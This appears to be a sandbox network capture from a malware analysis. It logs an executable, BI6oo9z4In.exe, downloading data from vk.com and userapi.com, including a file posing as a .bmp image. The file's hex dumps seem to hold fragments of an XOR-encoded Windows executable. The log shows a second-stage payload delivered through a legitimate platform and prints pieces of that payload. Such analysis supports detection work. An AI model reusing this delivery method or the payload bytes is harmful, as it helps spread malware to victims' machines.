2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 94 6d 0d 15 17 15 15 60 33 9e ff 19 85 d4 de 13 91 d6 61 0d 9e 50 1d 9e ff 19 85 d4 de 1d 91 d6 60 1f 9e 50 1d d2 ff 0d 15 01 15 15 9e 50 1d 9e 1d ea 5d 1d 9f 04 54 9c 1d 1a a3 d7 fe 0b 26 dc 90 c7 1a 00 d4 96 d5 19 98 19 d8 1d 15 15 15 e5 1c 1d 9e 58 1d 96 74 1d 15 96 dd ea 4e 4b 48 d6 9e ea 40 9e f9 48 fc 73 eb ea ea 7f 01 7d ff 4d 57 15 de b3 52 ea ea 26 e3 2c 60 1d 60 36 9e 50 19 d3 ff 09 14 d2 ff 0d 03 15 15 15 45 43 43 43 43 43 de 2e 93 ea ea 96 d1 0d 96 df ea 9e d7 fe 2c 9c 60 f5 9c 60 f1 ea 60 1d de 16 9c ea ea 4c 9c 60 e9 ea 60 19 ea 60 1d de 29 15 15 15 4c 4c 9e e5 9c 60 f5 9e ef 9c 68 f1 d2 50 e9 eb ea ea ea de 0f 15 15 15 9e d3 9e c2 9e 58 e5 71 9c 18 15 15 15 15 4c 4a 4b 4e dc d6 9e 68 f1 9e 60 f5 ea 60 1d de db 9d ea ea 4c d6 9e ea 40 9e f9 Data Ascii: m`3aP`PP]T&XtNKH@Hs}MWR&,``6PECCCCC.,```L```)LL`hPXqLJKNh``L@
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: ac 14 14 15 15 44 9e 13 9e 15 9e ff 5d 96 d5 0d 45 44 ea 20 d9 44 52 15 de 59 41 ea ea 9e 13 ac 15 14 15 15 44 9e 15 9e ff 5d 10 0c 14 15 15 45 44 ea 20 c5 44 52 15 de 38 41 ea ea 9e 53 11 96 d1 35 96 dc ea 9e 15 9e 15 e5 1a d4 1d 60 55 9e 53 11 9e 15 94 2d 45 2f 52 15 61 1d ea 25 de d7 b0 ea ea 4c 9e 13 9e 01 9e 53 11 9e 1d 9e 57 5d 9c 14 9e 13 9e 15 9e ff 5d e5 ea 15 4b d6 9e ea 40 9e f9 9e 50 1d 38 b1 16 15 15 61 3d 96 de 11 61 09 96 de 18 61 01 96 de 14 61 11 26 d5 48 d6 b4 c1 10 57 15 48 d6 b4 c5 10 57 15 48 d6 b4 d9 10 57 15 48 d6 b4 dd 10 57 15 48 d6 9e ea 40 9e f9 96 f9 01 98 58 e5 7f 15 de bf 7d ea ea 96 30 cd 44 52 15 15 9e 50 1d 96 ed eb 60 07 d2 10 cd 44 52 15 14 15 15 15 ea 55 09 c4 54 15 fe 39 96 ed e8 60 07 d2 10 cd 44 52 15 14 15 15 15 ea Data Ascii: D]ED DRYAD]ED DR8AS5`US-E/Ra%LSW]]K@P8a=aaa&HWHWHWHWH@X}0DRP`DRUT9`DR
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 50 e9 9e 58 19 46 9e 48 0a 43 9e 60 1d 9c a0 e9 eb ea ea 9c 88 ed eb ea ea 42 9e 68 01 9c a8 15 ea ea ea 90 e3 60 30 90 dc 61 34 de 20 3c ea ea d2 15 03 15 15 15 de 0a 12 ea ea 9e 58 e9 4a 4b 26 d8 4e de 4e aa eb ea 9e f0 48 d6 90 ea 61 ce 90 ce 61 c2 d2 90 de eb ea ea 15 15 15 15 96 ec 17 67 cd 5c 1a ba da 16 db 9c 98 1d ea ea ea 9e d4 26 c7 3e d3 e2 e2 ff 96 ed 1d 1a 92 a3 15 15 15 2e db 1a 93 32 11 15 15 98 0a 22 9c 00 e5 eb ea ea 9e d3 9e e7 9c 90 11 ea ea ea 2e e4 62 3a 45 43 9e 05 ea 55 ff c4 54 15 ea c6 96 d1 1d 90 d5 6b 1f 9e d3 9c 90 11 ea ea ea fe 13 9e 90 11 ea ea ea 9e 98 1d ea ea ea 16 e2 2e e4 63 c4 9c a8 e1 eb ea ea 9e c4 2e d4 61 2e 3e d4 9e ca 9c 90 11 ea ea ea fe 13 98 8e 15 15 15 15 9f 19 01 98 47 14 9e a0 11 ea ea ea 9f 57 ea 9d 51 03 Data Ascii: PXFHC`Bh`0a4 <XJK&NNHaag\&>.2".b:ECUTk.c.a.>GWQ
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 15 9c 22 ff 15 dd 20 ff 15 39 2d ff 15 16 2f ff 15 b7 26 ff 15 97 21 ff 15 24 20 ff 15 9c 20 ff 15 74 24 ff 15 7d 52 57 15 fa 3c ff 15 70 38 ff 15 54 3e ff 15 54 25 ff 15 51 25 ff 15 51 25 ff 15 5d 25 ff 15 5d 25 ff 15 33 24 ff 15 77 25 ff 15 15 15 15 15 14 15 15 15 15 15 15 15 15 14 14 15 15 14 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 14 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 Data Ascii: " 9-/&!$ t$}RW<p8T>T%Q%Q%]%]%3$w%
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 15 65 15 74 15 38 15 5c 15 5b 15 15 15 72 15 60 15 38 15 5c 15 5b 15 15 15 61 15 74 15 38 15 5c 15 5b 15 15 15 61 15 70 15 38 15 5c 15 5b 15 15 15 7e 15 7b 15 38 15 5c 15 5b 15 15 15 78 15 79 15 38 15 5c 15 5b 15 15 15 78 15 67 15 38 15 5c 15 5b 15 15 15 66 15 74 15 38 15 5c 15 5b 15 15 15 78 15 7b 15 38 15 58 15 5b 15 15 15 76 15 6c 15 38 15 52 15 57 15 15 15 72 15 79 15 38 15 50 15 46 15 15 15 7e 15 7a 15 7e 15 38 15 5c 15 5b 15 15 15 15 15 66 15 6c 15 67 15 38 15 46 15 4c 15 15 15 15 15 71 15 7c 15 63 15 38 15 58 15 43 15 15 15 15 15 64 15 60 15 6f 15 38 15 57 15 5a 15 15 15 15 15 7b 15 66 15 38 15 4f 15 54 15 15 15 78 15 7c 15 38 15 5b 15 4f 15 15 15 74 15 67 15 38 15 5c 15 44 15 15 15 71 15 70 15 38 15 56 15 5d 15 15 15 70 15 7b 15 38 15 52 15 57 15 Data Ascii: et8\[r`8\[at8\[ap8\[~{8\[xy8\[xg8\[ft8\[x{8X[vl8RWry8PF~z~8\[flg8FLq\|c8XCd`o8WZ{f8OTx\|8[Otg8\Dqp8V]p{8RW
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 79 70 45 7a 7c 7b 61 70 67 50 6d 15 15 90 11 47 70 74 71 56 7a 7b 66 7a 79 70 42 15 15 74 16 5d 70 74 65 47 70 54 79 79 7a 76 15 94 14 53 7c 7b 71 56 79 7a 66 70 15 92 14 53 7c 7b 71 53 7c 67 66 61 53 7c 79 70 50 6d 42 15 15 8d 14 53 7c 7b 71 5b 70 6d 61 53 7c 79 70 42 15 b4 16 5c 66 43 74 79 7c 71 56 7a 71 70 45 74 72 70 15 ab 14 52 70 61 54 56 45 15 15 b3 17 52 70 61 5a 50 58 56 45 15 15 51 17 52 70 61 50 7b 63 7c 67 7a 7b 78 70 7b 61 46 61 67 7c 7b 72 66 42 15 15 a3 14 53 67 70 70 50 7b 63 7c 67 7a 7b 78 70 7b 61 46 61 67 7c 7b 72 66 42 15 3f 10 46 70 61 50 7b 63 7c 67 7a 7b 78 70 7b 61 43 74 67 7c 74 77 79 70 42 15 76 10 46 70 61 46 61 71 5d 74 7b 71 79 70 15 15 d1 17 52 70 61 45 67 7a 76 70 66 66 5d 70 74 65 15 15 76 16 5d 70 74 65 46 7c 6f 70 15 15 Data Ascii: ypEz\|{apgPmGptqVz{fzypBt]pteGpTyyzvS\|{qVyzfpS\|{qS\|gfaS\|ypPmBS\|{q[pmaS\|ypB\fCty\|qVzqpEtrpRpaTVERpaZPXVEQRpaP{c\|gz{xp{aFag\|{rfBSgppP{c\|gz{xp{aFag\|{rfB?FpaP{c\|gz{xp{aCtg\|twypBvFpaFaq]t{qypRpaEgzvpff]ptev]pteF\|op

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49796	93.186.225.194	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:16 UTC	317	OUT	GET /doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5tezNI2nYywbtZUDfgtE1vvaKnaRV9Z4&api=1&no_preview=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 07:42:16 UTC	2493	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 07:42:16 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 467317 Connection: close X-Powered-By: KPHP/7.4.116865 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Fri, 30 May 2025 08:37:26 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9095334007786735297_V9XZIXQRd07dII8qD8qRZ5csgm719pgOTzAc1gfqF30; expires=Sat, 24 May 2025 07:42:16 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixlgck=dff8cd19d7ac19bb25; expires=Sat, 24 May 2025 19:06:17 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixstid=1171648886_v3iZfqyD67GwQkBDjjHnQaqzAps1AB8JZUm0T72v0W0; expires=Sun, 18 May 2025 09:30:43 GMT; path=/; domain=.vk.com; secure; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru htt [TRUNCATED] X-XSS-Protection: 1; report=/xss_reports X-Frame-Options: deny X-Frontend: front661400 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: dQ7n-IlENpB_8f8gZ4Y7ROYVMBiI6g
2024-05-24 07:42:16 UTC	13891	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 20 6c 61 6e 67 3d 27 65 6e 27 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 5f 6c 6f 67 6f 2e 69 63 6f 3f 37 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 70 77 61 2f 61 70 70 6c 65 2f 64 65 66 61 75 6c 74 2e 70 6e 67 3f 31 Data Ascii: <!DOCTYPE html><html lang='en' dir='ltr'><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" /><link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?1
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 53 65 61 72 63 68 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 0a 2e 74 73 5f 63 6f 6e 74 5f 77 72 61 70 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 76 61 72 28 2d 2d 68 65 61 64 65 72 2d 68 65 69 67 68 74 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 6d 6f 64 61 6c 29 3b 7a 2d 69 6e 64 65 78 3a 38 30 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 34 70 78 20 34 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 34 70 78 20 76 61 72 28 2d 2d 62 6c 61 63 6b 5f 61 6c 70 68 61 31 36 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6c 65 66 74 3a 31 37 37 70 78 3b 77 69 64 74 68 3a 32 33 32 70 Data Ascii: Search{display:none}.ts_cont_wrap{position:absolute;top:var(--header-height);background:var(--vkui--color_background_modal);z-index:800;border-radius:0 0 4px 4px;box-shadow:0 1px 4px var(--black_alpha16);overflow:hidden;display:none;left:177px;width:232p
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 6b 65 2d 6c 69 6e 65 63 61 70 25 33 44 25 32 32 72 6f 75 6e 64 25 32 32 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 33 2e 32 25 32 30 31 37 2e 37 4c 36 34 33 25 32 30 33 31 25 32 32 25 32 46 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 36 2e 39 25 32 30 32 32 2e 35 6c 2d 31 37 2e 38 25 32 30 33 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 25 33 44 25 32 32 30 25 32 43 31 38 2e 30 30 30 30 30 30 30 30 33 36 30 30 33 36 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 25 33 44 25 32 32 39 25 32 32 25 32 46 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 35 25 32 30 32 38 2e 33 4c 36 34 31 25 32 30 31 39 25 32 32 25 32 46 25 33 45 25 33 43 25 32 46 Data Ascii: ke-linecap%3D%22round%22%3E%3Cpath%20d%3D%22M653.2%2017.7L643%2031%22%2F%3E%3Cpath%20d%3D%22M656.9%2022.5l-17.8%203%22%20stroke-dasharray%3D%220%2C18.00000000360036%22%20stroke-dashoffset%3D%229%22%2F%3E%3Cpath%20d%3D%22M655%2028.3L641%2019%22%2F%3E%3C%2F
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 74 6f 70 3a 61 75 74 6f 3b 72 69 67 68 74 3a 61 75 74 6f 7d 0a 5b 64 69 72 3d 72 74 6c 5d 20 2e 6c 65 66 74 5f 6d 65 6e 75 5f 6e 61 76 5f 77 72 61 70 20 2e 75 69 5f 61 63 74 69 6f 6e 73 5f 6d 65 6e 75 5f 69 63 6f 6e 73 2c 5b 64 69 72 3d 72 74 6c 5d 20 5b 73 63 68 65 6d 65 3d 76 6b 63 6f 6d 5f 64 61 72 6b 5d 20 2e 6c 65 66 74 5f 6d 65 6e 75 5f 6e 61 76 5f 77 72 61 70 20 2e 75 69 5f 61 63 74 69 6f 6e 73 5f 6d 65 6e 75 5f 69 63 6f 6e 73 7b 72 69 67 68 74 3a 61 75 74 6f 3b 6c 65 66 74 3a 61 75 74 6f 7d 0a 2a 20 68 74 6d 6c 20 2e 63 6c 65 61 72 5f 66 69 78 7b 68 65 69 67 68 74 3a 31 25 7d 0a 2e 63 6c 65 61 72 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 0a 2e 73 63 72 6f 6c 6c Data Ascii: th:auto;height:auto;top:auto;right:auto}[dir=rtl] .left_menu_nav_wrap .ui_actions_menu_icons,[dir=rtl] [scheme=vkcom_dark] .left_menu_nav_wrap .ui_actions_menu_icons{right:auto;left:auto}* html .clear_fix{height:1%}.clear{float:none;clear:both}.scroll
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 6c 69 67 68 74 3a 23 66 66 35 63 35 63 3b 2d 2d 72 65 64 5f 6e 69 63 65 3a 23 66 66 33 33 34 37 3b 2d 2d 73 6b 79 5f 36 30 3a 23 63 63 65 39 66 66 3b 2d 2d 73 6b 79 5f 38 30 3a 23 62 32 64 65 66 66 3b 2d 2d 73 6b 79 5f 31 30 30 3a 23 39 39 64 33 66 66 3b 2d 2d 73 6b 79 5f 32 30 30 3a 23 37 30 63 31 66 66 3b 2d 2d 73 6b 79 5f 33 30 30 3a 23 37 31 61 61 65 62 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 31 30 3a 23 66 61 66 62 66 63 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 32 30 3a 23 66 37 66 38 66 61 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 34 30 3a 23 66 30 66 32 66 35 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 35 30 3a 23 65 65 65 66 66 31 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 36 30 3a 23 65 64 65 65 66 30 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 38 Data Ascii: light:#ff5c5c;--red_nice:#ff3347;--sky_60:#cce9ff;--sky_80:#b2deff;--sky_100:#99d3ff;--sky_200:#70c1ff;--sky_300:#71aaeb;--steel_gray_10:#fafbfc;--steel_gray_20:#f7f8fa;--steel_gray_40:#f0f2f5;--steel_gray_50:#eeeff1;--steel_gray_60:#edeef0;--steel_gray_8
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 69 61 72 79 5f 6d 65 64 69 75 6d 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2d 2d 72 65 67 75 6c 61 72 3a 31 32 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 6c 61 72 67 65 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2d 2d 72 65 67 75 6c 61 72 3a 31 36 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 73 6d 61 6c 6c 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 5f 69 63 6f 6e 2d 2d 72 65 67 75 6c 61 72 3a 38 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 6d 65 64 69 75 6d 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 5f 69 63 6f 6e 2d 2d 72 65 67 75 6c 61 72 3a 38 Data Ascii: iary_medium_padding_horizontal--regular:12px;--vkui--size_button_tertiary_large_padding_horizontal--regular:16px;--vkui--size_button_tertiary_small_padding_horizontal_icon--regular:8px;--vkui--size_button_tertiary_medium_padding_horizontal_icon--regular:8
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 32 39 32 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 66 66 66 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 68 6f 76 65 72 3a 23 66 35 66 35 66 37 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 61 63 74 69 76 65 3a 23 65 62 65 63 65 66 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 6f 72 64 65 72 3a 23 64 33 64 39 64 65 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 6f 72 64 65 72 2d 2d 68 6f 76 65 72 3a Data Ascii: 292;--vkui--color_write_bar_input_background:#ffffff;--vkui--color_write_bar_input_background--hover:#f5f5f7;--vkui--color_write_bar_input_background--active:#ebecef;--vkui--color_write_bar_input_border:#d3d9de;--vkui--color_write_bar_input_border--hover:
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 2d 2d 61 63 74 69 76 65 3a 23 34 33 34 33 34 33 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 30 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 2d 2d 68 6f 76 65 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 32 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 2d 2d 61 63 74 69 76 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e Data Ascii: color_background_secondary--active:#434343;--vkui--color_background_secondary_alpha:rgba(255, 255, 255, 0.10);--vkui--color_background_secondary_alpha--hover:rgba(255, 255, 255, 0.12);--vkui--color_background_secondary_alpha--active:rgba(255, 255, 255, 0.
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 73 6b 65 6c 65 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 66 72 6f 6d 2d 2d 61 63 74 69 76 65 3a 23 33 34 33 34 33 34 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 61 6c 70 68 61 5f 73 6b 65 6c 65 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 74 6f 2d 2d 68 6f 76 65 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 34 29 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 61 6c 70 68 61 5f 73 6b 65 6c 65 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 74 6f 2d 2d 61 63 74 69 76 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 38 29 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 6c 6f 61 64 65 72 5f 62 61 63 6b 67 72 6f Data Ascii: takte_color_skeleton_shimmer_from--active:#343434;--vkui--vkontakte_color_alpha_skeleton_shimmer_to--hover:rgba(255, 255, 255, 0.04);--vkui--vkontakte_color_alpha_skeleton_shimmer_to--active:rgba(255, 255, 255, 0.08);--vkui--vkontakte_color_loader_backgro
2024-05-24 07:42:16 UTC	16384	IN	Data Raw: 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 36 29 7d 39 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 76 6b 75 69 70 74 72 2d 72 6f 74 61 74 6f 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 74 75 72 6e 29 7d 7d 0a 2e 76 6b 75 69 43 68 65 63 6b 62 6f 78 5f 5f 69 6e 70 75 74 5b 64 69 73 61 62 6c 65 64 5d 7e 2a 7b 6f 70 61 63 69 74 79 3a 2e 36 34 3b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 76 6b 75 69 2d 2d 6f 70 61 63 69 74 79 5f 64 69 73 61 62 6c 65 5f 61 63 63 65 73 73 69 62 69 6c 69 74 79 29 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 76 Data Ascii: form:scale(.6)}90%{transform:scale(1.1)}to{transform:scale(1)}}@keyframes vkuiptr-rotator{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.vkuiCheckbox__input[disabled]~*{opacity:.64;opacity:var(--vkui--opacity_disable_accessibility)}@keyframes v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49797	95.142.206.0	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:16 UTC	433	OUT	GET /c909228/u5294803/docs/d35/91095a9a6f06/gewgdggrwh_20240521161330.bmp?extra=SFJQpepKYVBEpZ9-a9sx0fEFfCvtpM1ZI1QeNmMqjWC-GwKgYChdG8ruOMIBbckkR_3ALqVMa2SKrfLtlfcGDlIfuI8GTvUeIity5hjubwsuTTXVmp4JW2WtG0UfzcNwNBymvAVuE8o HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-20.userapi.com Connection: Keep-Alive
2024-05-24 07:42:16 UTC	584	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 07:42:16 GMT Content-Type: image/x-ms-bmp Content-Length: 80900 Connection: close Last-Modified: Tue, 21 May 2024 13:13:57 GMT ETag: "664c9e15-13c04" Expires: Sun, 23 Jun 2024 07:42:16 GMT Cache-Control: max-age=2592000 X-Frontend: front6-20 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: MGHsnpe4hni1L92tXcbO54Gu2hu8vw Accept-Ranges: bytes
2024-05-24 07:42:16 UTC	15800	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 95 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 45 50 15 15 71 93 17 15 0f 9a 3c b4 15 15 15 15 15 15 15 15 e5 15 37 15 1e 17 25 15 15 21 14 15 15 13 15 15 15 15 15 15 15 15 15 15 15 35 15 15 15 15 15 ff 14 15 15 15 15 35 15 15 15 17 15 15 11 15 15 15 15 15 15 15 13 15 15 15 15 15 15 15 15 95 14 15 15 17 15 15 15 15 15 15 17 15 75 90 15 15 ff 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 01 15 15 15 15 15 15 35 15 Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1EPq<7%!55u5
